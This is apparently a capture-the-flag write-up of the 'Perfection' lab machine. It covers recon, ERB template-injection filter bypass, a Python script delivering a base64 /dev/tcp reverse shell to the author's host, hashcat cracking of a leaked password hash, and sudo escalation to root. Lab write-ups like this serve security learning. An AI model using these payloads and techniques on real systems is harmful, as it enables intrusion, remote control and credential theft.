Perfection
- Author
-
0x42697262
- Category
-
Linux
- Difficulty
-
Easy
- Play Date
-
2024/05/20 - 2024/06/19
Reconnaissance
-
Scan the web server
10.10.11.253
for open ports. -
Find potential vulnerabilities.
-
Try to exploit them.
-
Get Flag.
NMAP Scan
Scan with nmap
$ nmap -sS -sV -sC -O -oN perfection.txt 10.10.11.253 Nmap scan report for 10.10.11.253 Host is up (0.27s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) (1) | ssh-hostkey: | 256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA) |_ 256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519) 80/tcp open http nginx (2) |_http-title: Weighted Grade Calculator No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.92%E=4%D=5/20%OT=22%CT=1%CU=35182%PV=Y%DS=2%DC=I%G=Y%TM=664B539 OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)OPS OS:(O1=M537ST11NW7%O2=M537ST11NW7%O3=M537NNT11NW7%O4=M537ST11NW7%O5=M537ST1 OS:1NW7%O6=M537ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN OS:(R=Y%DF=Y%T=40%W=FAF0%O=M537NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N% OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD OS:=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
1 | SSH Port Open |
2 | HTTP Port Open |
OpenSSH 8.9p1 doesn’t seem to have any obvious vulnerabilities. I looked through Metasploit to see if there are any exploits for that version. I found nothing usable as of my knowledge.
However, browsing the web server might give more clues.
Ruby Web Server
Opening http://10.10.11.253:80/
returns the home page.

While reading the web server, it appears that the web server were made by security students who are probably inexperienced. So, I went and checked their web app.

There were inputs. Bingo! One should not easily assume it’s vulnerable but I can always test it.
Thus, I tried to use the web app normally. It worked as expected. However, the web app doesn’t make a POST request if the categories are not completely filled. The sum of the Weight (%) must all equal to 100%.

Since this is a web application, the next thing I wanted to see is the request and response of the web app. It returns a response of JSON data.

But it appears that the values are placed directly on the page. Should I try doing XSS? Will there be input sanitization? What’s the point of XSS anyway? Okay, if not XSS, then some sort of injection can be used, right?

But since I didn’t wanna keep typing the inputs into the form, I copied the POST request as cURL command.
$ curl 'http://10.10.11.253/weighted-grade-calc' --data-raw 'category1=a&grade1=10&weight1=10&category2=b&grade2=10&weight2=20&category3=c&grade3=10&weight3=30&category4=d&grade4=10&weight4=30&category5=e&grade5=10&weight5=10' | grep -E "Your total grade is|Malicious input blocked" Your total grade is 10%<p>a: 1%</p><p>b: 2%</p><p>c: 3%</p><p>d: 3%</p><p>e: 1%</p>
I added some grep commands to only output what I needed.

The command is too long, I tried trimming it down to one category but this just results in Malicious input blocked
.
Something not what I want.
I tried changing one of the category values into <script>alert(1);</script>
.
That didn’t work.
$ curl 'http://10.10.11.253/weighted-grade-calc' --data-raw 'category1=<script>alert(1);</script>&grade1=10&weight1=10&category2=b&grade2=10&weight2=20&category3=c&grade3=10&weight3=30&category4=d&grade4=10&weight4=30&category5=e&grade5=10&weight5=10' | grep -E "Your total grade is|Malicious input blocked" Malicious input blocked
I kept wondering why it wouldn’t work. Then I realized that web browsers tends to encode the data of the request body. Thus, I tried doing that.
$ curl 'http://10.10.11.253/weighted-grade-calc' --data-raw 'category1=%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E&grade1=10&weight1=10&category2=b&grade2=10&weight2=20&category3=c&grade3=10&weight3=30&category4=d&grade4=10&weight4=30&category5=e&grade5=10&weight5=10' | grep -E "Your total grade is|Malicious input blocked" Malicious input blocked
But oh well, the same exact result. Bummer.
I tried using the symbols ( ) < > ; [ ] { }
individually yet it still resulted the same error.
I didn’t know what kind of web server I am dealing with, I wanted to know what framework is used as backend.
Turns out the answer was at the bottom of the website: WEBrick 1.7.0
.
This is a Ruby HTTP server toolkit.
Now, that’s a progress.
I looked for exploits related to version 1.7.0 but the results on the web shows different versions and old as well. I didn’t know what I was doing. I was lost. I didn’t know what to look for. I searched and read more about attacks on web servers and I found what I needed, Server Side Template Injection.
Server Side Template Injection
Ruby got lots of templating engine but the common ones are Embedded Ruby (ERB) and Slim.
I tried my luck with ERB by testing <%= Dir.entries('/') %>
(which I found here).
Of course that didn’t work as I would just get this error:
Invalid query parameters: invalid %-encoding (&lt;%= Dir.entries(&#x2F;) %&gt;)
I forgot to encode it… When encoded, the result is still the same. Giving a malicious input blocked.
%3C%25%3D%20Dir.entries(%27%2F%27)%20%25%3E
Once again, I am back on having to deal with bypassing the sanitization.
Apparently, all we have to do is add a %0A
newline encoded character before the input.
But for it to work, there should be at least one valid character before it.
I didn’t understand why that works. This will be explained later on.
a%0A%3C%25%3D%20Dir.entries(%27%2F%27)%20%25%3E (1)
1 | Added a%0A . |
And we’re able to show the results!
$ curl 'http://10.10.11.253/weighted-grade-calc' --data-raw 'category1=a&grade1=10&weight1=10&category2=b&grade2=10&weight2=20&category3=c&grade3=10&weight3=30&category4=d&grade4=10&weight4=30&category5=a%0a%3C%25%3D%20Dir.entries(%27%2F%27)%20%25%3E&grade5=10&weight5=10' | grep -E "Your total grade is|Malicious input blocked" -A 2 Your total grade is 10%<p>a: 1%</p><p>b: 2%</p><p>c: 3%</p><p>d: 3%</p><p>a ["dev", "libx32", "srv", "lib", "usr", "bin", "lib64", "lost+found", "sys", "var", "media", "tmp", "proc", "boot", "home", "opt", "lib32", "sbin", "run", "etc", "mnt", "..", "root", "."]: 1%</p> </div>
We can now create a reverse shell!
Exploitation
Before creating a reverse shell, I wanted to see if I can ping my host machine.
$ tcpdump -i tun0 -A icmp tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
Then made a ping request.
$ curl 'http://10.10.11.253/weighted-grade-calc' --data-raw 'category1=a&grade1=10&weight1=10&category2=b&grade2=10&weight2=20&category3=c&grade3=10&weight3=30&category4=d&grade4=10&weight4=30&category5=a%0A%3C%25%3D%20system(%27ping%20-c1%2010.10.16.11%27)%20%25%3E&grade5=10&weight5=10'
20:37:26.149125 IP 10.10.11.253 > 10.10.16.11: ICMP echo request, id 6, seq 1, length 64 E..T.N@.?.V? .. ..........w.tf....c....................... !"#$%&'()*+,-./01234567 20:37:26.149149 IP 10.10.16.11 > 10.10.11.253: ICMP echo reply, id 6, seq 1, length 64 E..T1...@... .. ..........w.tf....c....................... !"#$%&'()*+,-./01234567
Meaning, it’s possible to connect from the web server to my machine!
I then setup netcat for reverse shell.
$ nc -lvnp 6969 (1) listening on [any] 6969 ...
1 | Pick any port you like |
I didn’t like how I have to input the commands in the terminal so I made a Python script that will make a POST request to the server and make a reverse shell connection.
import urllib3
import base64
from urllib.parse import urlencode
REMOTE_HOST: str = "10.10.11.253"
PATH: str = "weighted-grade-calc"
LOCAL_HOST: str = "10.10.16.11"
PORT: int = 6969
payload: str = base64.b64encode(f"0<&196; exec 196<>/dev/tcp/{LOCAL_HOST}/{PORT}; sh <&196 >&196 2>&196".encode('utf-8')).decode('utf-8')
b64_payload: str = f"""<%= system("echo '{payload}' | base64 --decode | bash") %>"""
fields = {
"category1" : "a",
"grade1" : "10",
"weight1" : "10",
"category2" : "b",
"grade2" : "10",
"weight2" : "20",
"category3" : "c",
"grade3" : "10",
"weight3" : "30",
"category4" : "d",
"grade4" : "10",
"weight4" : "30",
"category5" : f"a\n{b64_payload}",
"grade5" : "10",
"weight5" : "10",
}
encoded_data = urlencode(fields)
print(f"Payload: curl 'http://{REMOTE_HOST}/weighted-grade-calc' --data-raw '{encoded_data}'")
http = urllib3.PoolManager()
resp = http.request(
"POST",
f"http://{REMOTE_HOST}/{PATH}",
body=encoded_data,
)
The script is equivalent to executing
$ curl 'http://10.10.11.253/weighted-grade-calc' --data-raw 'category1=a&grade1=10&weight1=10&category2=b&grade2=10&weight2=20&category3=c&grade3=10&weight3=30&category4=d&grade4=10&weight4=30&category5=a%0A%3C%25%3D+system%28%22echo+%27MDwmMTk2OyBleGVjIDE5Njw%2BL2Rldi90Y3AvMTAuMTAuMTYuMTEvNjk2OTsgc2ggPCYxOTYgPiYxOTYgMj4mMTk2%27+%7C+base64+--decode+%7C+bash%22%29+%25%3E&grade5=10&weight5=10'
The reason I encoded the payload into base64 is so that it won’t get chopped up by the input sanitization. I don’t really understand why that’s needed but the payload doesn’t execute without it.

Root Flag
I tried looking around for possible ways to gain root access.
Yep, clearly I do not know what to do.
Thus, I just went and checked the files of the user directory of susan
.
$ ls -la total 48 drwxr-x--- 7 susan susan 4096 Feb 26 09:41 . drwxr-xr-x 3 root root 4096 Oct 27 2023 .. lrwxrwxrwx 1 root root 9 Feb 28 2023 .bash_history -> /dev/null -rw-r--r-- 1 susan susan 220 Feb 27 2023 .bash_logout -rw-r--r-- 1 susan susan 3771 Feb 27 2023 .bashrc drwx------ 2 susan susan 4096 Oct 27 2023 .cache drwx------ 3 susan susan 4096 Oct 27 2023 .gnupg lrwxrwxrwx 1 root root 9 Feb 28 2023 .lesshst -> /dev/null drwxrwxr-x 3 susan susan 4096 Oct 27 2023 .local drwxr-xr-x 2 root root 4096 Oct 27 2023 Migration (1) -rw-r--r-- 1 susan susan 807 Feb 27 2023 .profile lrwxrwxrwx 1 root root 9 Feb 28 2023 .python_history -> /dev/null drwxr-xr-x 4 root susan 4096 Oct 27 2023 ruby_app (2) lrwxrwxrwx 1 root root 9 May 14 2023 .sqlite_history -> /dev/null -rw-r--r-- 1 susan susan 0 Oct 27 2023 .sudo_as_admin_successful -rw-r----- 1 root susan 33 Jun 20 10:06 user.txt (3) -rw-r--r-- 1 susan susan 39 Oct 17 2023 .vimrc
1 | Database containing some credentials |
2 | The Ruby HTTP web server source code |
3 | User Flag |
The /home/susan/Migration/
directory looks promising.
$ ls -la total 16 drwxr-xr-x 2 root root 4096 Oct 27 2023 . drwxr-x--- 7 susan susan 4096 Feb 26 09:41 .. -rw-r--r-- 1 root root 8192 May 14 2023 pupilpath_credentials.db $ strings pupilpath_credentials.db SQLite format 3 tableusersusers CREATE TABLE users ( id INTEGER PRIMARY KEY, name TEXT, password TEXT Stephen Locke154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8S David Lawrenceff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87aP Harry Tylerd33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393O Tina Smithdd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57Q Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f (1)
1 | What we are probably interested in. |
This seems like a database that stores the user’s password. I don’t know how to crack it. I don’t know what the conditions are. Is it an MD5 hash? SHA256? No idea.
What I did instead was list the directories: /var
, /usr
, /etc
, /sys
, and /srv
.
But only /var/
came up with something interesting.
$ ls -la /var/* ... (1) /var/mail: total 12 drwxrwsr-x 2 root mail 4096 May 14 2023 . drwxr-xr-x 13 root root 4096 Oct 27 2023 .. -rw-r----- 1 root susan 625 May 14 2023 susan /var/opt: total 8 drwxr-xr-x 2 root root 4096 Feb 17 2023 . drwxr-xr-x 13 root root 4096 Oct 27 2023 .. /var/spool: total 16 drwxr-xr-x 4 root root 4096 Feb 17 2023 . drwxr-xr-x 13 root root 4096 Oct 27 2023 .. drwxr-xr-x 3 root root 4096 Feb 17 2023 cron lrwxrwxrwx 1 root root 7 Feb 17 2023 mail -> ../mail drwx------ 2 syslog adm 4096 May 2 2022 rsyslog ... (2)
1 | Truncated results |
2 | Truncated results |
Look, there’s a mail/
directory inside /var/
!
I wonder what’s inside.
It is also made for susan.
$ cat /var/mail/susan Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is: {firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000} Note that all letters of the first name should be convered into lowercase. Please hit me with updates on the migration when you can. I am currently registering our university with the platform. - Tina, your delightful student
Ah, now that makes sense. The database I saw earlier was the passwords for the students who probably developed the web server. Aaaaand it’s very insecure…
The password of susan can easily be bruteforced.
Before that, I need to identify the hashing algorithm being used.
I looked online and I found out hash-id
is built-in on ParrotOS.
$ hashid -m -j 'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f' Analyzing 'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f' [+] Snefru-256 [JtR Format: snefru-256] [+] SHA-256 [Hashcat Mode: 1400][JtR Format: raw-sha256] [+] RIPEMD-256 [+] Haval-256 [JtR Format: haval-256-3] [+] GOST R 34.11-94 [Hashcat Mode: 6900][JtR Format: gost] [+] GOST CryptoPro S-Box [+] SHA3-256 [Hashcat Mode: 5000][JtR Format: raw-keccak-256] [+] Skein-256 [JtR Format: skein-256] [+] Skein-512(256)
It looks like a SHA256 hash. I wasn’t sure so I tested it on hashcat.
$ echo 'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f' > /tmp/hash.txt $ hashcat -m 1400 -a 3 -o /tmp/cracked.txt /tmp/hash.txt susan_nasus_?d?d?d?d?d?d?d?d?d?d $ hashcat -m 1400 -a 3 -o /tmp/cracked.txt /tmp/hash.txt susan_nasus_?d?d?d?d?d?d?d?d?d?d --show (1)
1 | Returns nothing. |
The cracked hash is stored in /tmp/cracked.txt
.
The result is
$ cat /tmp/cracked.txt abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210
Let’s test susan_nasus_413759210
.
$ sudo -l -S [sudo] password for susan: susan_nasus_413759210 Matching Defaults entries for susan on perfection: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User susan may run the following commands on perfection: (ALL : ALL) ALL $ whoami susan $ sudo -i $ ls root.txt $ whoami root
Oh, it worked! We’re now root!
$ cat /root/root.txt 46d669fa19c3b6afa25e622410b7c469
Post-Exploitation
I wanted to see how the web server works.
Thus, I went and grabbed the source code of the web server.
It was stored in /home/susan/ruby_app/
.
Challenge Summaries
Flag
user:a492e9d8a7e5c4d0cc14e27ce647d655 root:46d669fa19c3b6afa25e622410b7c469 |
Conclusion
I looked up few writeups online while doing the challenge when I got stuck. Not really a good feeling but I needed to learn. It is this writeup that made me realize of using shell commands in a way that I should be.
Writing this writeup after about 29 days of not touching the challenge was a good way to waste my time but at the same time redo the challenge without having to look stuffs up. I still had issues on trying to get passed the input sanitization thus I have to check if my inputs were wrong, they were the same. I just made small mistakes like typos.
Apparently, a better way to acquire the user flag is to use the find command and by executing the cat command.
$ find / -name "user.txt" -exec cat {} \; 2>/dev/null a492e9d8a7e5c4d0cc14e27ce647d655
Similar to finding the root flag.
$ find / -name "root`.txt" -exec cat {} \; 2>/dev/null 46d669fa19c3b6afa25e622410b7c469
$ find / -uid 1001 -type f -ls 2>/dev/null | grep -v "/proc*" 36258 4 -rw------- 1 susan crontab 1168 May 14 2023 /var/spool/cron/crontabs/susan 1020 4 -rw-r--r-- 1 susan susan 39 Oct 17 2023 /home/susan/.vimrc 1031 4 -rw-r--r-- 1 susan susan 220 Feb 27 2023 /home/susan/.bash_logout 1032 4 -rw-r--r-- 1 susan susan 3771 Feb 27 2023 /home/susan/.bashrc 1033 4 -rw-r--r-- 1 susan susan 807 Feb 27 2023 /home/susan/.profile 3653 0 -rw-r--r-- 1 susan susan 0 Oct 27 2023 /home/susan/.sudo_as_admin_successful 2202 4 -rw------- 1 susan susan 32 May 14 2023 /home/susan/.gnupg/pubring.kbx 2233 4 -rw------- 1 susan susan 1200 May 14 2023 /home/susan/.gnupg/trustdb.gpg 1147 0 -rw-r--r-- 1 susan susan 0 Feb 28 2023 /home/susan/.cache/motd.legal-displayed
$ find / -name "*susan*" -type f -ls 2>/dev/null 39937 4 -rw-r----- 1 root susan 625 May 14 2023 /var/mail/susan 36258 4 -rw------- 1 susan crontab 1168 May 14 2023 /var/spool/cron/crontabs/susan 1227 12 -rw-r--r-- 1 root susan 8597 Apr 3 2023 /home/susan/ruby_app/public/images/susan.jpg 1390 4 -rw------- 1 root susan 168 Jun 20 14:39 /run/sudo/ts/susan
$ grep -i password -R /home/$(whoami) (1) grep: /home/susan/Migration/pupilpath_credentials.db: binary file matches
1 | Have to be logged in as susan . |
I think I have skipped a lot in this writeup but that should be alright for future me since I only have to write stuffs that I will need.